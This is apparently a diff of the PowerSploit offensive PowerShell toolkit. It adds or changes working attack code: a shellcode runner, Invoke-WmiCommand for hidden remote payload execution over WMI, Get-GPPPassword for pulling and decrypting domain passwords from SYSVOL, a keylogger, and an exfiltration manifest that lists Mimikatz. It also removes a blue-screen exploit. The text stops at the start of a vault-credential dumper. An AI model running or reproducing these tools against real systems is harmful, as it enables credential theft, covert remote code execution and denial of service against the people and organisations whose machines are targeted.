0000001A C3 ret
YOUR SHELLCODE WILL BE PLACED HERE...
#>
Write-Verbose 'Preparing x86_64 shellcode...'
}
# Append user-provided shellcode.
$FinalShellcode += $Shellcode
# Allocate pinned memory for our shellcode
$ShellcodeAddress = [Runtime.InteropServices.Marshal]::AllocHGlobal($FinalShellcode.Length)
Write-Verbose "Allocated shellcode at 0x$($ShellcodeAddress.ToString("X$([IntPtr]::Size*2)"))."
# Copy the original shellcode bytes into the pinned, unmanaged memory.
# Note: this region of memory if marked PAGE_READWRITE
[Runtime.InteropServices.Marshal]::Copy($FinalShellcode, 0, $ShellcodeAddress, $FinalShellcode.Length)
$TargetMethodAddress = [IntPtr] (Get-MethodAddress $TargetMethod)
Write-Verbose "Address of the method to be overwritten: 0x$($TargetMethodAddress.ToString("X$([IntPtr]::Size*2)"))"
Write-Verbose 'Overwriting dummy method with the shellcode...'
$Arguments = New-Object Object[](3)
$Arguments[0] = $TargetMethodAddress
$Arguments[1] = $ShellcodeAddress
$Arguments[2] = $FinalShellcode.Length
# Overwrite the dummy method with the shellcode opcodes
$OverwriteMethod.Invoke($null, $Arguments)
Write-Verbose 'Executing shellcode...'
# 'Invoke' our shellcode >D
$ShellcodeReturnValue = $TargetMethod.Invoke($null, @(0x11112222))
if ($ShellcodeReturnValue -eq 0)
{
Write-Verbose 'Shellcode executed successfully!'
}
}
+359
View File
@@ -0,0 +1,359 @@
function Invoke-WmiCommand {
<#
.SYNOPSIS
Executes a PowerShell ScriptBlock on a target computer using WMI as a
pure C2 channel.
Author: Matthew Graeber
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Invoke-WmiCommand executes a PowerShell ScriptBlock on a target
computer using WMI as a pure C2 channel. It does this by using the
StdRegProv WMI registry provider methods to store a payload into a
registry value. The command is then executed on the victim system and
the output is stored in another registry value that is then retrieved
remotely.
.PARAMETER Payload
Specifies the payload to be executed on the remote system.
.PARAMETER RegistryKeyPath
Specifies the registry key where the payload and payload output will
be stored.
.PARAMETER RegistryPayloadValueName
Specifies the registry value name where the payload will be stored.
.PARAMETER RegistryResultValueName
Specifies the registry value name where the payload output will be
stored.
.PARAMETER ComputerName
Runs the command on the specified computers. The default is the local
computer.
Type the NetBIOS name, an IP address, or a fully qualified domain
name of one or more computers. To specify the local computer, type
the computer name, a dot (.), or "localhost".
This parameter does not rely on Windows PowerShell remoting. You can
use the ComputerName parameter even if your computer is not
configured to run remote commands.
.PARAMETER Credential
Specifies a user account that has permission to perform this action.
The default is the current user. Type a user name, such as "User01",
"Domain01\User01", or User@Contoso.com. Or, enter a PSCredential
object, such as an object that is returned by the Get-Credential
cmdlet. When you type a user name, you will be prompted for a
password.
.PARAMETER Impersonation
Specifies the impersonation level to use. Valid values are:
0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".)
1: Anonymous (Hides the credentials of the caller.)
2: Identify (Allows objects to query the credentials of the caller.)
3: Impersonate (Allows objects to use the credentials of the caller.)
4: Delegate (Allows objects to permit other objects to use the credentials of the caller.)
.PARAMETER Authentication
Specifies the authentication level to be used with the WMI connection. Valid values are:
-1: Unchanged
0: Default
1: None (No authentication in performed.)
2: Connect (Authentication is performed only when the client establishes a relationship with the application.)
3: Call (Authentication is performed only at the beginning of each call when the application receives the request.)
4: Packet (Authentication is performed on all the data that is received from the client.)
5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.)
6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.)
.PARAMETER EnableAllPrivileges
Enables all the privileges of the current user before the command
makes the WMI call.
.PARAMETER Authority
Specifies the authority to use to authenticate the WMI connection.
You can specify standard NTLM or Kerberos authentication. To use
NTLM, set the authority setting to ntlmdomain:<DomainName>, where
<DomainName> identifies a valid NTLM domain name. To use Kerberos,
specify kerberos:<DomainName\ServerName>. You cannot include the
authority setting when you connect to the local computer.
.EXAMPLE
PS C:\>Invoke-WmiCommand -Payload { if ($True) { 'Do Evil' } } -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1'
.EXAMPLE
PS C:\>$Hosts = Get-Content hostnames.txt
PS C:\>$Payload = Get-Content payload.ps1
PS C:\>$Credential = Get-Credential 'TargetDomain\TargetUser'
PS C:\>$Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential
.EXAMPLE
PS C:\>$Payload = Get-Content payload.ps1
PS C:\>Invoke-WmiCommand -Payload $Payload -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1', '10.10.1.2'
.EXAMPLE
PS C:/>Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\testkey' -RegistryPayloadValueName 'testvalue' -RegistryResultValueName 'testresult' -ComputerName '10.10.1.1' -Credential 'TargetHost\Administrator' -Verbose
.INPUTS
System.String[]
Accepts one or more host names/IP addresses over the pipeline.
.OUTPUTS
System.Management.Automation.PSObject
Outputs a custom object consisting of the target computer name and
the output of the command executed.
.NOTES
In order to receive the output from your payload, it must return
actual objects. For example, Write-Host doesn't return objects
rather, it writes directly to the console. If you're using
Write-Host in your scripts though, you probably don't deserve to get
the output of your payload back. :P
#>
[CmdletBinding()]
Param (
[Parameter( Mandatory = $True )]
[ScriptBlock]
$Payload,
[String]
[ValidateSet( 'HKEY_LOCAL_MACHINE',
'HKEY_CURRENT_USER',
'HKEY_CLASSES_ROOT',
'HKEY_USERS',
'HKEY_CURRENT_CONFIG' )]
$RegistryHive = 'HKEY_CURRENT_USER',
[String]
[ValidateNotNullOrEmpty()]
$RegistryKeyPath = 'SOFTWARE\Microsoft\Cryptography\RNG',
[String]
[ValidateNotNullOrEmpty()]
$RegistryPayloadValueName = 'Seed',
[String]
[ValidateNotNullOrEmpty()]
$RegistryResultValueName = 'Value',
[Parameter( ValueFromPipeline = $True )]
[Alias('Cn')]
[String[]]
[ValidateNotNullOrEmpty()]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Management.ImpersonationLevel]
$Impersonation,
[System.Management.AuthenticationLevel]
$Authentication,
[Switch]
$EnableAllPrivileges,
[String]
$Authority
)
BEGIN {
switch ($RegistryHive) {
'HKEY_LOCAL_MACHINE' { $Hive = 2147483650 }
'HKEY_CURRENT_USER' { $Hive = 2147483649 }
'HKEY_CLASSES_ROOT' { $Hive = 2147483648 }
'HKEY_USERS' { $Hive = 2147483651 }
'HKEY_CURRENT_CONFIG' { $Hive = 2147483653 }
}
$HKEY_LOCAL_MACHINE = 2147483650
$WmiMethodArgs = @{}
# If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod
if ($PSBoundParameters['Credential']) { $WmiMethodArgs['Credential'] = $Credential }
if ($PSBoundParameters['Impersonation']) { $WmiMethodArgs['Impersonation'] = $Impersonation }
if ($PSBoundParameters['Authentication']) { $WmiMethodArgs['Authentication'] = $Authentication }
if ($PSBoundParameters['EnableAllPrivileges']) { $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges }
if ($PSBoundParameters['Authority']) { $WmiMethodArgs['Authority'] = $Authority }
$AccessPermissions = @{
KEY_QUERY_VALUE = 1
KEY_SET_VALUE = 2
KEY_CREATE_SUB_KEY = 4
KEY_CREATE = 32
DELETE = 65536
}
# These are all of the registry permissions we'll require
$RequiredPermissions = $AccessPermissions['KEY_QUERY_VALUE'] -bor
$AccessPermissions['KEY_SET_VALUE'] -bor
$AccessPermissions['KEY_CREATE_SUB_KEY'] -bor
$AccessPermissions['KEY_CREATE'] -bor
$AccessPermissions['DELETE']
}
PROCESS {
foreach ($Computer in $ComputerName) {
# Pass the individual computer name to Invoke-WmiMethod
$WmiMethodArgs['ComputerName'] = $Computer
Write-Verbose "[$Computer] Creating the following registry key: $RegistryHive\$RegistryKeyPath"
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CreateKey' -ArgumentList $Hive, $RegistryKeyPath
if ($Result.ReturnValue -ne 0) {
throw "[$Computer] Unable to create the following registry key: $RegistryHive\$RegistryKeyPath"
}
Write-Verbose "[$Computer] Validating read/write/delete privileges for the following registry key: $RegistryHive\$RegistryKeyPath"
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CheckAccess' -ArgumentList $Hive, $RegistryKeyPath, $RequiredPermissions
if (-not $Result.bGranted) {
throw "[$Computer] You do not have permission to perform all the registry operations necessary for Invoke-WmiCommand."
}
$PSSettingsPath = 'SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell'
$PSPathValueName = 'Path'
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKEY_LOCAL_MACHINE, $PSSettingsPath, $PSPathValueName
if ($Result.ReturnValue -ne 0) {
throw "[$Computer] Unable to obtain powershell.exe path from the following registry value: HKEY_LOCAL_MACHINE\$PSSettingsPath\$PSPathValueName"
}
$PowerShellPath = $Result.sValue
Write-Verbose "[$Computer] Full PowerShell path: $PowerShellPath"
$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Payload))
Write-Verbose "[$Computer] Storing the payload into the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $EncodedPayload, $RegistryPayloadValueName
if ($Result.ReturnValue -ne 0) {
throw "[$Computer] Unable to store the payload in the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
}
# Prep the script runner payload from the remote system
$PayloadRunnerArgs = @"
`$Hive = '$Hive'
`$RegistryKeyPath = '$RegistryKeyPath'
`$RegistryPayloadValueName = '$RegistryPayloadValueName'
`$RegistryResultValueName = '$RegistryResultValueName'
`n
"@
$RemotePayloadRunner = $PayloadRunnerArgs + {
$WmiMethodArgs = @{
Namespace = 'Root\default'
Class = 'StdRegProv'
}
$Result = Invoke-WmiMethod @WmiMethodArgs -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName
if (($Result.ReturnValue -eq 0) -and ($Result.sValue)) {
$Payload = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Result.sValue))
$TempSerializedResultPath = [IO.Path]::GetTempFileName()
$PayloadResult = Invoke-Expression ($Payload)
Export-Clixml -InputObject $PayloadResult -Path $TempSerializedResultPath
$SerilizedPayloadText = [IO.File]::ReadAllText($TempSerializedResultPath)
$null = Invoke-WmiMethod @WmiMethodArgs -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $SerilizedPayloadText, $RegistryResultValueName
Remove-Item -Path $SerilizedPayloadResult -Force
$null = Invoke-WmiMethod @WmiMethodArgs -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName
}
}
$Base64Payload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($RemotePayloadRunner))
$Cmdline = "$PowerShellPath -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload"
# Execute the payload runner on the remote system
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\cimv2' -Class 'Win32_Process' -Name 'Create' -ArgumentList $Cmdline
Start-Sleep -Seconds 5
if ($Result.ReturnValue -ne 0) {
throw "[$Computer] Unable to execute payload stored within the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
}
Write-Verbose "[$Computer] Payload successfully executed from: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName
if ($Result.ReturnValue -ne 0) {
throw "[$Computer] Unable retrieve the payload results from the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
}
Write-Verbose "[$Computer] Payload results successfully retrieved from: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
$SerilizedPayloadResult = $Result.sValue
$TempSerializedResultPath = [IO.Path]::GetTempFileName()
Out-File -InputObject $SerilizedPayloadResult -FilePath $TempSerializedResultPath
$PayloadResult = Import-Clixml -Path $TempSerializedResultPath
Remove-Item -Path $TempSerializedResultPath
$FinalResult = New-Object PSObject -Property @{
PSComputerName = $Computer
PayloadOutput = $PayloadResult
}
Write-Verbose "[$Computer] Removing the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
$null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName
Write-Verbose "[$Computer] Removing the following registry key: $RegistryHive\$RegistryKeyPath"
$null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteKey' -ArgumentList $Hive, $RegistryKeyPath
return $FinalResult
}
}
}
-78
View File
@@ -1,78 +0,0 @@
function Watch-BlueScreen
{
<#
.SYNOPSIS
Cause a blue screen to occur (Windows 7 and below).
PowerSploit Function: Watch-BlueScreen
Author: Matthew Graeber (@mattifestation)
Original Research: Tavis Ormandy and Nikita Tarakanov
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.NOTES
Tavis Ormandy documented this technique on 2/3/2013 and Nikita Tarakanov
tweeted this technique on 5/13/2013.
.LINK
https://gist.github.com/taviso/4658638
http://blog.cmpxchg8b.com/2013/02/the-other-integer-overflow.html
https://twitter.com/NTarakanov/status/334031968465453057
#>
[CmdletBinding( ConfirmImpact = 'High')] Param ()
try { $Gdi32 = [Gdi32] } catch [Management.Automation.RuntimeException]
{
$DynAssembly = New-Object System.Reflection.AssemblyName('BSOD')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, 'Run')
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BSOD', $False)
$TypeBuilder = $ModuleBuilder.DefineType('Gdi32', 'Public, Class')
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder( $DllImportConstructor, @('ntdll.dll'),
[Reflection.FieldInfo[]]@($SetLastError), @($true))
$TypeBuilder.DefinePInvokeMethod( 'CreateCompatibleDC',
'Gdi32.dll',
'Public, Static',
'Standard',
[IntPtr],
@([IntPtr]),
'Winapi',
'Auto' ).SetCustomAttribute($SetLastErrorCustomAttribute)
$TypeBuilder.DefinePInvokeMethod( 'SetLayout',
'Gdi32.dll',
'Public, Static',
'Standard',
[UInt32],
@([IntPtr], [UInt32]),
'Winapi',
'Auto' ) | Out-Null
$TypeBuilder.DefinePInvokeMethod( 'ScaleWindowExtEx',
'Gdi32.dll',
'Public, Static',
'Standard',
[Bool],
@([IntPtr], [Int32], [Int32], [Int32], [Int32], [IntPtr]),
'Winapi',
'Auto' ) | Out-Null
$Gdi32 = $TypeBuilder.CreateType()
}
$LAYOUT_RTL = 1
if ($psCmdlet.ShouldContinue( 'Do you want to continue?', 'You may want to save your work before continuing.' ))
{
$DC = $Gdi32::CreateCompatibleDC([IntPtr]::Zero)
$Gdi32::SetLayout($DC, $LAYOUT_RTL) | Out-Null
$Gdi32::ScaleWindowExtEx($DC, [Int32]::MinValue, -1, 1, 1, [IntPtr]::Zero) | Out-Null
}
}
+7 -59
View File
@@ -1,10 +1,10 @@
@{
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'Exfiltration.psm1'
# Version number of this module.
ModuleVersion = '1.0.0.0'
ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module
GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'
@@ -12,9 +12,6 @@ GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'
# Author of this module
Author = 'Matthew Graeber'
# Company or vendor of this module
CompanyName = ''
# Copyright statement for this module
Copyright = 'BSD 3-Clause'
@@ -24,65 +21,16 @@ Description = 'PowerSploit Exfiltration Module'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of the .NET Framework required by this module
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = ''
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
FormatsToProcess = 'Get-VaultCredential.ps1xml'
# Functions to export from this module
FunctionsToExport = '*'
# Cmdlets to export from this module
CmdletsToExport = '*'
# Variables to export from this module
VariablesToExport = ''
# Aliases to export from this module
AliasesToExport = ''
# List of all modules packaged with this module.
ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'})
# List of all files packaged with this module
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md'
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1',
'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1', 'Invoke-CredentialInjection.ps1',
'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
}
}
+1 -1
View File
@@ -1 +1 @@
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
+147 -61
View File
@@ -1,4 +1,4 @@
function Get-GPPPassword {
function Get-GPPPassword {
<#
.SYNOPSIS
@@ -16,7 +16,43 @@
.EXAMPLE
Get-GPPPassword
PS C:\> Get-GPPPassword
NewName : [BLANK]
Changed : {2014-02-21 05:28:53}
Passwords : {password12}
UserNames : {test1}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
NewName : [BLANK]
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
Passwords : {password, password1234$}
UserNames : {administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
NewName : [BLANK]
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
Passwords : {password, read123}
UserNames : {DEMO\Administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
.EXAMPLE
PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
password
password12
password123
password1234
password1234$
read123
Recycling*3ftw!
.LINK
@@ -29,8 +65,12 @@
[CmdletBinding()]
Param ()
#Some XML issues between versions
Set-StrictMode -Version 2
#define helper function that decodes and decrypts password
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
@@ -38,7 +78,12 @@
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
if ($Mod -ne 0) {$Cpassword += ('=' * (4 - $Mod))}
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
@@ -60,78 +105,119 @@
catch {Write-Error $Error[0]}
}
#ensure that machine is domain joined and script is running as a domain account
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) )
{
throw 'Machine is not joined to a domain.'
}
#define helper function to parse fields from xml files
function Get-GPPInnerFields {
[CmdletBinding()]
Param (
$File
)
#discover potential files containing passwords ; not complaining in case of denied access to a directory
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml'
if ( -not $XMlFiles )
{
throw 'No files containing encrypted passwords found.'
}
foreach ($File in $XMLFiles) {
try {
$Filename = $File.Name
$Filepath = $File.VersionInfo.FileName
#put filename in $XmlFile
$Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File)
#declare blank variables
$Cpassword = ''
$UserName = ''
$NewName = ''
$Changed = ''
#declare empty arrays
$Cpassword = @()
$UserName = @()
$NewName = @()
$Changed = @()
$Password = @()
switch ($Filename) {
#check for password field
if ($Xml.innerxml -like "*cpassword*"){
Write-Verbose "Potential password in $File"
switch ($Filename) {
'Groups.xml' {
$Cpassword = $Xml.Groups.User.Properties.cpassword
$UserName = $Xml.Groups.User.Properties.userName
$NewName = $Xml.Groups.User.Properties.newName
$Changed = $Xml.Groups.User.changed
}
'Groups.xml' {
$Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'Services.xml' {
$Cpassword = $Xml.NTServices.NTService.Properties.cpassword
$UserName = $Xml.NTServices.NTService.Properties.accountName
$Changed = $Xml.NTServices.NTService.changed
}
'Services.xml' {
$Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'Scheduledtasks.xml' {
$Cpassword = $Xml.ScheduledTasks.Task.Properties.cpassword
$UserName = $Xml.ScheduledTasks.Task.Properties.runAs
$Changed = $Xml.ScheduledTasks.Task.changed
}
'Scheduledtasks.xml' {
$Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'DataSources.xml' {
$Cpassword = $Xml.DataSources.DataSource.Properties.cpassword
$UserName = $Xml.DataSources.DataSource.Properties.username
$Changed = $Xml.DataSources.DataSource.changed
'DataSources.xml' {
$Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'Printers.xml' {
$Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'Drives.xml' {
$Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
}
}
if ($Cpassword) {$Password = Get-DecryptedCpassword $Cpassword}
else {Write-Verbose "No encrypted passwords found in $Filepath"}
}
foreach ($Pass in $Cpassword) {
Write-Verbose "Decrypting $Pass"
$DecryptedPassword = Get-DecryptedCpassword $Pass
Write-Verbose "Decrypted a password of $DecryptedPassword"
#append any new passwords to array
$Password += , $DecryptedPassword
}
#put [BLANK] in variables
if (!($Password)) {$Password = '[BLANK]'}
if (!($UserName)) {$UserName = '[BLANK]'}
if (!($Changed)) {$Changed = '[BLANK]'}
if (!($NewName)) {$NewName = '[BLANK]'}
#Create custom object to output results
$ObjectProperties = @{'Password' = $Password;
'UserName' = $UserName;
$ObjectProperties = @{'Passwords' = $Password;
'UserNames' = $UserName;
'Changed' = $Changed;
'NewName' = $NewName
'File' = $Filepath}
'NewName' = $NewName;
'File' = $File}
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
Write-Output $ResultsObject
Write-Verbose "The password is between {} and may be more than one value."
if ($ResultsObject) {Return $ResultsObject}
}
catch {Write-Error $Error[0]}
catch {Write-Error $Error[0]}
}
try {
#ensure that machine is domain joined and script is running as a domain account
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
throw 'Machine is not a domain member or User is not a member of the domain.'
}
#discover potential files containing passwords ; not complaining in case of denied access to a directory
Write-Verbose 'Searching the DC. This could take a while.'
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
if ( -not $XMlFiles ) {throw 'No preference files found.'}
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
foreach ($File in $XMLFiles) {
$Result = (Get-GppInnerFields $File.Fullname)
Write-Output $Result
}
}
catch {Write-Error $Error[0]}
}
+18 -6
View File
@@ -1,4 +1,4 @@
function Get-Keystrokes {
function Get-Keystrokes {
<#
.SYNOPSIS
@@ -12,12 +12,16 @@
.PARAMETER LogPath
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to '$($Env:TEMP)\key.log'.
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
.PARAMETER CollectionInterval
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
.PARAMETER PollingInterval
Specifies the time in milliseconds to wait between calls to GetAsyncKeyState. Defaults to 40 milliseconds.
.EXAMPLE
Get-Keystrokes -LogPath C:\key.log
@@ -26,6 +30,10 @@
Get-Keystrokes -CollectionInterval 20
.EXAMPLE
Get-Keystrokes -PollingInterval 35
.LINK
http://www.obscuresec.com/
@@ -39,7 +47,11 @@
[Parameter(Position = 1)]
[UInt32]
$CollectionInterval
$CollectionInterval,
[Parameter(Position = 2)]
[Int32]
$PollingInterval = 40
)
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
@@ -49,7 +61,7 @@
$Initilizer = {
$LogPath = 'REPLACEME'
'"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode
'"WindowTitle","TypedKey","Time"' | Out-File -FilePath $LogPath -Encoding unicode
function KeyLog {
[Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null
@@ -139,7 +151,7 @@
$ImportDll = $TypeBuilder.CreateType()
}
Start-Sleep -Milliseconds 40
Start-Sleep -Milliseconds $PollingInterval
try
{
@@ -246,4 +258,4 @@
} | Out-Null
}
}
}
+1 -1
View File
@@ -1,4 +1,4 @@
function Get-TimedScreenshot
function Get-TimedScreenshot
{
<#
.SYNOPSIS
+401
View File
@@ -0,0 +1,401 @@
function Get-VaultCredential
{
<#
.SYNOPSIS
Displays Windows vault credential objects including cleartext web credentials.
PowerSploit Function: Get-VaultCredential
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-VaultCredential enumerates and displays all credentials stored in the Windows
vault. Web credentials, specifically are displayed in cleartext. This script was
